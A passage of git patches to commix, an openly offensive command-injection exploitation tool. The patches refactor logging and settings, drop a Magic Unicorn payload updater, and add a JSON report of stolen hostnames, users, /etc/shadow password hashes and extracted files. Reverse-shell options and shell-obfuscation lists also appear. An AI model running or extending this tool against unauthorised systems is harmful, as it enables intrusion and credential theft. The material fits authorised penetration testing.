" at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." @@ -109,28 +116,23 @@ def print_legal_disclaimer_msg(legal_disclaimer_msg): # Print error message def print_error_msg(err_msg): - result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL - return result + return _format_msg(ERROR_SIGN, err_msg) # Print error message def print_bold_error_msg(err_msg): - result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL - return result + return _format_msg(ERROR_BOLD_SIGN, err_msg, bold=True) # Print critical error message def print_critical_msg(err_msg): - result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL - return result + return _format_msg(CRITICAL_SIGN, err_msg) # Print abortion message def print_abort_msg(abort_msg): - result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL - return result + return _format_msg(ABORTION_SIGN, abort_msg) # Print warning message def print_warning_msg(warn_msg): - result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL - return result + return _format_msg(WARNING_SIGN, warn_msg) _PRINTED_ONCE_MESSAGES = set() @@ -144,43 +146,35 @@ def print_once(raw_msg): # Print warning message def print_bold_warning_msg(warn_msg): - result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL - return result + return _format_msg(WARNING_BOLD_SIGN, warn_msg) # Print debug message (verbose mode) def print_debug_msg(debug_msg): - result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result + return _format_msg(DEBUG_SIGN, debug_msg) # Print bold debug message (verbose mode) def print_bold_debug_msg(debug_msg): - result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result + return _format_msg(DEBUG_BOLD_SIGN, debug_msg) # Print request HTTP message def print_request_msg(req_msg): - result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL - return result + return _format_msg(REQUEST_SIGN, req_msg) # Print response HTTP message def print_response_msg(resp_msg): - result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL - return result + return _format_msg(RESPONSE_SIGN, resp_msg) # Print information message def print_info_msg(info_msg): - result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL - return result + return _format_msg(INFO_SIGN, info_msg) # Print bold information message def print_bold_info_msg(info_msg): - result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL - return result + return _format_msg(INFO_BOLD_SIGN, info_msg, bold=True) # Print payload (verbose mode) def print_payload(payload): - result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL - return result + return _format_msg(PAYLOAD_SIGN, payload) # Print HTTP traffic (verbose mode) def print_traffic(traffic): @@ -198,18 +192,25 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - result = print_time() + CHECK_SIGN + str(payload) + Style.RESET_ALL - return result + return _format_msg(CHECK_SIGN, payload) # Print question message def print_message(message): result = QUESTION_SIGN + message + Style.RESET_ALL return result -# Print sub content message -def print_sub_content(sub_content): - result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL - return result +""" +Bold version of a message for use as an input() prompt. +""" +def input_message(message): + return styled_prompt(Style.BRIGHT, message) + +""" +Clears any style an input() prompt (via styled_prompt()) left switched on. +""" +def reset_terminal_style(): + _stdout_write(Style.RESET_ALL) + sys.stdout.flush() # Print sub content message def print_retrieved_data(cmd, retrieved): @@ -236,6 +237,8 @@ def _stdout_write(data): """ def print_data_to_stdout(data): global PROGRESS_LINE_OPEN + if getattr(_threading.current_thread(), "commix_suppress_output", False): + return with PRINT_LOCK: # A bare "\r" only moves the cursor and does not open a line. if data == END_LINE.CR: @@ -269,7 +272,10 @@ def print_data_to_stdout(data): def clear_current_line(): global PROGRESS_LINE_OPEN with PRINT_LOCK: - sys.stdout.write(END_LINE.CR + "\033[K") + if PROGRESS_LINE_OPEN: + sys.stdout.write(END_LINE.LF) + else: + sys.stdout.write(END_LINE.CR + "\033[K") sys.stdout.flush() PROGRESS_LINE_OPEN = False @@ -322,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "105" +REVISION = "106" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -347,8 +353,8 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) -# Random variable name -RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) +# Random variable name (E-Z only). +RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase[4:]) for _ in range(3)) # Path to text resources folder TXT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) @@ -465,7 +471,7 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" POST_CUSTOM_INJECTION_MARKER_CHAR = "" -# Benign patterns that legitimately contain '*' (e.g. 'Accept: */*') - excluded from marker detection. +# Patterns that legitimately contain '*' (e.g. 'Accept: */*'). PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" class INJECTION_MARKER_LOCATION(object): @@ -478,6 +484,7 @@ class INJECTION_MARKER_LOCATION(object): SKIP_NON_CUSTOM_PARAMS = None TESTABLE_PARAMETERS_LIST = [] +SKIP_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None NOT_TESTABLE_PARAMETERS = True TESTED_PARAMETERS_LIST = [] @@ -513,6 +520,9 @@ class OS(object): TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False + +# The technique currently being announced/tested. +CURRENT_TECHNIQUE = None TIME_RELATED_ATTACK = False TIME_RELATED_ATTACK_WARNING = False LAST_COMPLETED_TECHNIQUE = None @@ -543,7 +553,7 @@ class OS(object): OUTPUT_FILE_EXT = ".txt" OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT -# Max Length for command execution output. +# Max Length for execution output. MAXLEN = 10000 STDIN_PARSING = False @@ -551,13 +561,15 @@ class OS(object): # Slow target response. SLOW_TARGET_RESPONSE = 3 -# Number of samples estimate_response_time() takes the median of, before gating the "slow target" decision. +# Number of samples estimate_response_time() takes the median of. RESPONSE_TIME_SAMPLES = 3 -# Pre-injection baseline (estimate_response_time()) - the target's own -# round-trip time before any delay logic runs. Floors the initial --time-sec -# calibration so a target this slow doesn't get a delay smaller than its own latency. +# Pre-injection baseline - the target's own round-trip time before any delay logic runs. URL_TIME_RESPONSE = 0 +# (url, http_request_method) the response-time baseline is sampled from, filled in on first use. +BASELINE_TARGET = None +# Last reported minimum safe delay, so the same floor is announced only once. +REPORTED_MIN_SAFE_TIMESEC = None # Cache url_response()'s connection-test timing for reuse by estimate_response_time(). INIT_CONNECTION_TIME = None @@ -699,8 +711,16 @@ class OS(object): # Whether '--web-root' was explicitly supplied on the CLI USER_APPLIED_WEB_ROOT = False +# Whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +USER_APPLIED_AUTH_CRED = False +USER_APPLIED_AUTH_TYPE = False + # Counting the total of HTTP(S) requests TOTAL_OF_REQUESTS = 0 +# Log-file report state. +LOGGED_FINDINGS_HEADER = False +LAST_LOGGED_PARAMETER = None +LAST_LOG_GROUP = "header" # The max help option length. MAX_OPTION_LENGTH = 18 @@ -740,7 +760,8 @@ class OS(object): # File System access options # Read file FILE_READ = "cat " -FILE_WRITE_OPERATOR = " > " +FILE_WRITE_OPERATOR = " >" +FILE_APPEND_OPERATOR = " >>" WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " WIN_FILE_READ = "powershell.exe get-Content " @@ -783,9 +804,12 @@ class OS(object): # Accepts 'C','c','S','s','Q','q','A','a' CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] -# Remembers the answer to the "unexpected time delays" prompt so it isn't asked again this run. +# Remembers the answer to the "unexpected time delays" prompt. UNSTABLE_REQUEST_CHOICE = None +# Remembers the answer to the "'/bin/' path prefix" prompt. +USE_BIN_SUBDIR_CHOICE = None + # How many seconds "Continue" has already added to timesec, capped by MAX_UNSTABLE_TIMESEC_BUMP. UNSTABLE_REQUEST_BUMPS = 0 @@ -800,19 +824,22 @@ class OS(object): # Supported injection types class INJECTION_TYPE(object): - RESULTS_BASED_CI = "results-based OS command injection" + RESULTS_BASED_CI = "results-based command injection" RESULTS_BASED_CE = "results-based dynamic code evaluation" - BLIND = "blind OS command injection" - SEMI_BLIND = "semi-blind OS command injection" + BLIND = "blind command injection" + SEMI_BLIND = "semi-blind command injection" # Supported injection techniques class INJECTION_TECHNIQUE(object): CLASSIC = "classic command injection technique" DYNAMIC_CODE = "dynamic code evaluation technique" TIME_BASED = "time-based command injection technique" - FILE_BASED = "file-based command injection technique" + FILE_BASED = "file-based injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" +# Canonical order techniques are tested and reported in. +TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.CLASSIC, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED] + USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False @@ -873,7 +900,10 @@ class RetryTechniqueException(Exception): "os_shell", "reverse_tcp", "bind_tcp", + "use", + "run", "set", + "show", ] # Accepted reverse tcp shell menu options @@ -883,6 +913,7 @@ class RetryTechniqueException(Exception): "LPORT", "SRVPORT", "URIPATH", + "HANDLER", ] # Delimiter used to separate individual cookies in the Cookie HTTP header @@ -1141,6 +1172,10 @@ class RetryTechniqueException(Exception): # ANSI colors removal ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' +_ANSI_COLOR_REMOVAL_REGEX = re.compile(ANSI_COLOR_REMOVAL) + +def strip_ansi_codes(text): + return _ANSI_COLOR_REMOVAL_REGEX.sub("", text) # Default LHOST / LPORT / RHOST setup, # for the reverse TCP connection @@ -1152,13 +1187,32 @@ class RetryTechniqueException(Exception): URIPATH = "/" SRVPORT = 8080 +# Catch bind/reverse shells with a built-in listener instead of an external nc/ncat. +HANDLER = False +LAST_SELECTED_MODULE = "" + # Session Handler SESSION_FILE = "" LOAD_SESSION = None # Whether a stored technique likely exists for the current target (host + method). LIKELY_RESUME = False -# Cache stored techniques per parameter to avoid repeated session database queries. +# Cache stored techniques per parameter. STORED_TECHNIQUES = {} +# Pending file/tempfile-based cleanups, asked at quit() - keyed by output file path. +PENDING_FILE_CLEANUPS = {} +# Findings confirmed this run, for the end-of-run summary. +CONFIRMED_INJECTION_POINTS = [] +# (prefix, suffix, separator, whitespace) confirmed by one technique, tried first by the others. +CONFIRMED_BOUNDARY = {} +# Whether the "keep testing others" prompt already fired for this target. +ASKED_KEEP_TESTING = False +# Post-detection actions (enumeration, file access, --os-cmd), deferred until quit(). +PENDING_POST_DETECTION_ACTIONS = [] +OS_CMD_DONE = False +# The single deferred --os-shell entry, run at quit(). +PENDING_OS_SHELL_ENTRY = None +# Guards the resumed-session log notice against quit()'s recursion. +LOGS_NOTIFICATION_SHOWN = False # Path to file containing desktop/browser User-Agent strings USER_AGENT_LIST = os.path.join(TXT_DIR, "user-agents.txt") @@ -1191,6 +1245,9 @@ class AUTH_TYPE(object): DIGEST = "digest" BEARER = "bearer" +# Cached digest realm, discovered from the target's WWW-Authenticate challenge. +DIGEST_AUTH_REALM = None + RAW_HTTP_HEADERS = "" USER_APPLIED_TAMPER = "" @@ -1236,12 +1293,34 @@ class PRIORITY(object): LOWER = -75 LOWEST = -100 +# Tamper script pairs that cannot be combined. +INCOMPATIBLE_TAMPER_SCRIPTS = [ + # "\$" is a literal "$", so the escape kills the other script's "$@" / "${XX}". + ("backslashes", "dollaratsigns"), + ("backslashes", "uninitializedvariable"), + # "$@" lands inside "${XX}", corrupting the variable name. + ("dollaratsigns", "uninitializedvariable"), + # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. + ("randomcase", "singlequotes") +] + +# Words that must survive per-character obfuscation - shell keywords stop being keywords once +# obfuscated, and user-supplied commands can still use them. IGNORE_TAMPER_TRANSFORMATION = [ "IFS", "if", "then", + "elif", "else", "fi", + "for", + "while", + "until", + "do", + "done", + "case", + "esac", + "in", "cmd", "%0d", "PATH%%u*", @@ -1330,7 +1409,7 @@ class END_LINE: CONNECTION_ERROR_RETRIES = 0 MAX_CONNECTION_ERROR_RETRIES = 5 -# Count of connection-error warnings actually shown - excludes silent, harmless retries. +# Count of connection-error warnings shown. VISIBLE_CONNECTION_ERRORS = 0 # Statistical model for recognizing a delay against this target's own response times. @@ -1338,11 +1417,13 @@ class END_LINE: TIME_OUTLIER_MAD_COEFF = 10 # Decision-threshold floor and shrink-candidate validity margin. MIN_VALID_DELAYED_RESPONSE = 0.5 +# Minimum delay-threshold margin above the mean, as a fraction of the mean. +MIN_RELATIVE_DELAY_MARGIN = 0.5 WARN_TIME_STDEV = 0.5 # One escalate/shrink step, in seconds - separate from the floor above. TIME_DELAY_STEP = 1 -# Target size of the upfront baseline warm-up - the adaptive threshold itself doesn't wait for this many samples to activate. +# Target size of the upfront baseline warm-up. MIN_TIME_RESPONSES = 30 MAX_TIME_RESPONSES = 200 RESPONSE_TIMES = [] @@ -1352,7 +1433,7 @@ class END_LINE: # Retries for a failed (not just slow) request during time-based measurement. TIME_RELATED_ATTACK_RETRIES = 3 -# Best known timesec for this target, reused across commands to avoid recalibration. +# Best known timesec for this target. CALIBRATED_TIMESEC = None # Latched once a re-verification ever fails - widens retries and upgrades checks to a vote. @@ -1363,7 +1444,7 @@ class END_LINE: NARROWING_MIN_OBSERVED = 3 NARROWING_MAX_SET_SIZE = 64 -# Probe the most-frequent characters first to speed up extraction for skewed distributions. +# Number of most-frequent characters probed directly before bisecting. FREQUENCY_PROBE_TOP_K = 3 # Prevent auto-shrink from undoing a delay increase after validation. @@ -1380,16 +1461,19 @@ class END_LINE: THREADED_TIME_RETRIEVAL_CHOICE = None # Technique titles to suppress when a fallback already announced the transition. -SKIP_NEXT_TECHNIQUE_TITLE = None +# The (parameter, technique) last announced, so a re-announcement reads as "Continuing with". +LAST_ANNOUNCED_TECHNIQUE = None # Retries for the false-positive/unexploitable-point re-verification during detection. FALSE_POSITIVE_RETRIES = 3 -# Prefix marking an interrupted command result for resumption instead of replay. +# Verification rounds for classic/eval/file-based. +RESULTS_BASED_VERIFY_ROUNDS = 2 + +# Prefix marking an interrupted command result. PARTIAL_VALUE_MARKER = "\x02COMMIX_PARTIAL\x02" -# Max characters shown at once in the live "characters extracted so far" progress line - -# a long output shows only a trailing window of this width instead of growing unbounded. +# Max characters shown at once in the live progress line. PROGRESS_DISPLAY_WIDTH = 60 # Init Test diff --git a/src/utils/update.py b/src/utils/update.py index 49993d7219..311d1aa4a5 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -15,16 +15,14 @@ import re import os -import sys import time import subprocess from src.utils import menu from src.utils import settings from src.utils import requirements from src.utils import common -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.colorama import Fore, Style """ Check for updates (apply if any) and exit! @@ -40,6 +38,8 @@ def revision_num(): start = time.time() process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() + # communicate() returns bytes - decode before comparing/printing as text. + stdout = stdout.decode(settings.DEFAULT_CODEC, errors="replace") if settings.VERBOSITY_LEVEL == 0: info_msg = ('Updated to', 'Already at')["Already" in stdout] process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) @@ -49,6 +49,7 @@ def revision_num(): subprocess.Popen("find . -empty -type d -delete", shell=True).wait() if settings.VERBOSITY_LEVEL == 0: stdout, _ = process.communicate() + stdout = stdout.decode(settings.DEFAULT_CODEC, errors="replace") match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." @@ -117,7 +118,8 @@ def check_for_update(): finally: response.close() for line in version_check: - line = line.rstrip() + # readlines() returns bytes - decode before comparing/matching as text. + line = line.decode(settings.DEFAULT_CODEC, errors="replace").rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") break @@ -139,94 +141,4 @@ def check_for_update(): except: pass -""" -The updater for the unicorn tool -""" -def unicorn_updater(current_version): - APPLICATION_NAME = "TrustedSec's Magic Unicorn" - info_msg = "Checking requirements to update " - info_msg += APPLICATION_NAME + " from GitHub repository. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if menu.options.offline: - err_msg = "You cannot update TrustedSec's Magic Unicorn " - err_msg += "via GitHub without access to the Internet." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check if windows - if settings.IS_WINDOWS: - err_msg = "For updating purposes on the Windows platform, it's recommended " - err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - try: - requirement = "git" - # Check if 'git' is installed. - if requirements.do_check(requirement) == True: - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - if len(current_version) == 0: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) - os.chdir(unicorn_path) - else: - os.chdir("../") - subprocess.Popen("rm -rf unicorn", shell=True).wait() - info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " - info_msg += "version. " - subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() - os.chdir("unicorn") - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() - else: - err_msg = requirement + " not found." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except Exception as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the latest version of unicorn -""" -def check_unicorn_version(current_version): - try: - if len(current_version) != 0: - response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) - try: - latest_version = response.readlines() - finally: - response.close() - for line in latest_version: - line = line.rstrip() - if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") - break - if len(current_version) == 0 or \ - (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ - ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ - int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): - if len(current_version) != 0: - warn_msg = "The current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - else: - warn_msg = "TrustedSec's Magic Unicorn does not seem to be installed." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - while True: - if len(current_version) == 0: - action = "install" - else: - action = "update to" - message = "Do you want to " + action + " the latest version now? [Y/n] " - do_update = common.read_input(message, default="Y", check_batch=True) - if do_update in settings.CHOICE_YES: - unicorn_updater(current_version) - elif do_update in settings.CHOICE_NO: - break - else: - common.invalid_option(do_update) - pass - except KeyboardInterrupt: - raise - except: - pass - # eof \ No newline at end of file From 0c12b38056f318e72330844fa278ce92ba1f420c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 4 Sep 2026 12:30:14 +0300 Subject: [PATCH 0763/1023] Added new `--report-json` switch to store run results to a JSON file --- doc/CHANGELOG.md | 5 +- src/core/injections/controller/checks.py | 13 +++- src/utils/logs.py | 76 ++++++++++++++++++++++-- src/utils/menu.py | 6 ++ src/utils/settings.py | 11 ++-- 5 files changed, 97 insertions(+), 14 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 73469946a9..96e437f3a3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,7 @@ ## Version 4.2 (TBA) -* Added: New '--abort-on-empty' switch to abort data retrieval on empty results. -* Revised: Renamed '--alter-shell' to '--interpreter' for clarity. +* Added: New `--report-json` switch to store run results to a JSON file. +* Added: New `--abort-on-empty` switch to abort data retrieval on empty results. +* Revised: Renamed `--alter-shell` to `--interpreter` for clarity. * Added: New `--os-shell` switch to directly request a command shell. * Fixed: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e91b3f2fcd..a342611c1d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2451,6 +2451,7 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) logs.add_line(filename, info_msg, group="info") + logs.report_set_info("powershell_version", ps_version) except ValueError: warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means some payloads or injection techniques may fail." @@ -2468,6 +2469,7 @@ def print_hostname(shell, filename, _): info_msg = "Hostname: " + str(shell) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) logs.add_line(filename, info_msg, group="info") + logs.report_set_info("hostname", str(shell)) else: warn_msg = "Failed to identify the hostname." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2482,6 +2484,7 @@ def print_current_user(cu_account, filename, _): info_msg = "Current user: " + str(cu_account) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) logs.add_line(filename, info_msg, group="info") + logs.report_set_info("current_user", str(cu_account)) else: warn_msg = "Failed to fetch the current user." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2501,6 +2504,7 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has elevated privileges: " + str(priv) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) logs.add_line(filename, info_msg, group="info") + logs.report_set_info("current_user_elevated_privileges", priv == "True") """ Print OS info """ @@ -2511,6 +2515,7 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) logs.add_line(filename, info_msg, group="info") + logs.report_set_info("operating_system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)) else: warn_msg = "Failed to fetch underlying operating system information." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2594,6 +2599,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi for name in sys_users_list: settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name) logs.add_line(filename, " * " + name, group="users") + logs.report_add_enumeration("users", name) else: warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2646,6 +2652,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi parsed_users.append((fields[0], fields[1], fields[2])) settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0]) logs.add_line(filename, " * " + fields[0], group="users") + logs.report_add_enumeration("users", fields[0]) except ValueError: if count == 1 : warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " @@ -2669,6 +2676,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi note = " (" + label + ", uid=" + uid + ", home directory '" + homedir + "')" if label else " (uid=" + uid + ", home directory '" + homedir + "')" settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name + note) logs.add_line(filename, " * " + name + note, group="privileges") + logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label}) else: warn_msg = "It seems you do not have permission " warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'." @@ -2705,6 +2713,7 @@ def print_passes(sys_passes, filename, _, interpreter): if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0] + ":" + fields[1]) logs.add_line(filename, " * " + fields[0] + ":" + fields[1], group="passwords") + logs.report_add_enumeration("passwords", {"username": fields[0], "hash": fields[1]}) # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : @@ -2793,8 +2802,7 @@ def run_single_os_cmd(execute_cmd, filename): def print_single_os_cmd(cmd, output, filename): if len(output) > 1: settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) - logs.add_line(filename, "Executed command: " + cmd, group="command:" + cmd) - logs.add_line(filename, str(output), group="command:" + cmd) + logs.executed_command(filename, cmd, output) else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) @@ -2943,6 +2951,7 @@ def file_read_status(shell, file_to_read, filename): _ = "Retrieved file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) + logs.report_add_file(file_to_read, shell) else: warn_msg = "Retrieved no content for the file '" + file_to_read + "'. " warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it." diff --git a/src/utils/logs.py b/src/utils/logs.py index 2a408b56e5..c169b56d8e 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -15,6 +15,7 @@ import os import re import sys +import json import shlex import tempfile from datetime import date @@ -110,13 +111,15 @@ def create_log_file(url, output_dir): # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE + http_request_method = settings.HTTPMETHOD.POST if menu.options.data else settings.HTTPMETHOD.GET + command = " ".join(shlex.quote(_) for _ in sys.argv) + started = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") try: with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - http_request_method = settings.HTTPMETHOD.POST if menu.options.data else settings.HTTPMETHOD.GET output_file.write("Target: " + url + " (" + http_request_method + ")" + settings.END_LINE.LF) - output_file.write("Command: " + " ".join(shlex.quote(_) for _ in sys.argv) + settings.END_LINE.LF) - output_file.write("Started: " + str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.END_LINE.LF) + output_file.write("Command: " + command + settings.END_LINE.LF) + output_file.write("Started: " + started + settings.END_LINE.LF) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." @@ -127,7 +130,15 @@ def create_log_file(url, output_dir): if not menu.options.output_dir: filename = os.path.abspath(filename) - + + if menu.options.report_json: + settings.REPORT_JSON = { + "target": url, + "http_method": http_request_method, + "command": command, + "started": started, + } + return filename """ @@ -145,6 +156,33 @@ def add_line(filename, text, group=""): except: pass +""" +Whether --report-json was given and the report is ready to receive data. +""" +def report_active(): + return settings.REPORT_JSON is not None + +""" +Record a single fact (hostname, current user, OS, ...) into the JSON report. +""" +def report_set_info(key, value): + if report_active(): + settings.REPORT_JSON.setdefault("info", {})[key] = value + +""" +Record one enumerated item (a user, a privilege row, a password hash, ...) into the JSON report. +""" +def report_add_enumeration(category, item): + if report_active(): + settings.REPORT_JSON.setdefault("enumeration", {}).setdefault(category, []).append(item) + +""" +Record one extracted file's content into the JSON report. +""" +def report_add_file(path, content): + if report_active(): + settings.REPORT_JSON.setdefault("files", []).append({"path": path, "content": content}) + """ Add a confirmed finding in log files, in the same format the console summary prints it. """ @@ -162,6 +200,15 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p payload = str(checks.url_decode(payload)).replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) for line in checks.finding_summary_lines(technique, injection_type, payload, title): add_line(filename, settings.strip_ansi_codes(line), group="findings") + if report_active(): + settings.REPORT_JSON.setdefault("findings", []).append({ + "parameter": vuln_parameter, + "http_method": http_request_method, + "technique": checks.summary_technique_label(technique), + "type": injection_type[0].upper() + injection_type[1:], + "boundary": title, + "payload": payload, + }) """ Add any executed command and @@ -170,6 +217,8 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p def executed_command(filename, cmd, output): add_line(filename, "Executed command: " + cmd, group="command:" + cmd) add_line(filename, str(output.encode(settings.DEFAULT_CODEC).decode()), group="command:" + cmd) + if report_active(): + settings.REPORT_JSON.setdefault("commands", []).append({"command": cmd, "output": output}) """ Fetched data logged to text files. @@ -200,6 +249,24 @@ def add_footer(filename): " Requests: " + str(settings.TOTAL_OF_REQUESTS) + " Target OS: " + settings.TARGET_OS.title(), group="footer") +""" +Write the accumulated --report-json data to the requested file. +""" +def write_report(): + if not report_active(): + return + settings.REPORT_JSON["finished"] = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.REPORT_JSON["requests"] = settings.TOTAL_OF_REQUESTS + settings.REPORT_JSON["target_os"] = settings.TARGET_OS.title() + try: + with open(menu.options.report_json, 'w', encoding=settings.DEFAULT_CODEC) as output_file: + json.dump(settings.REPORT_JSON, output_file, indent=2, ensure_ascii=False) + info_msg = "Run results stored to the JSON file '" + menu.options.report_json + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except IOError as err_msg: + error_msg = "Unable to write the JSON report to '" + menu.options.report_json + "' (" + str(err_msg) + ")." + 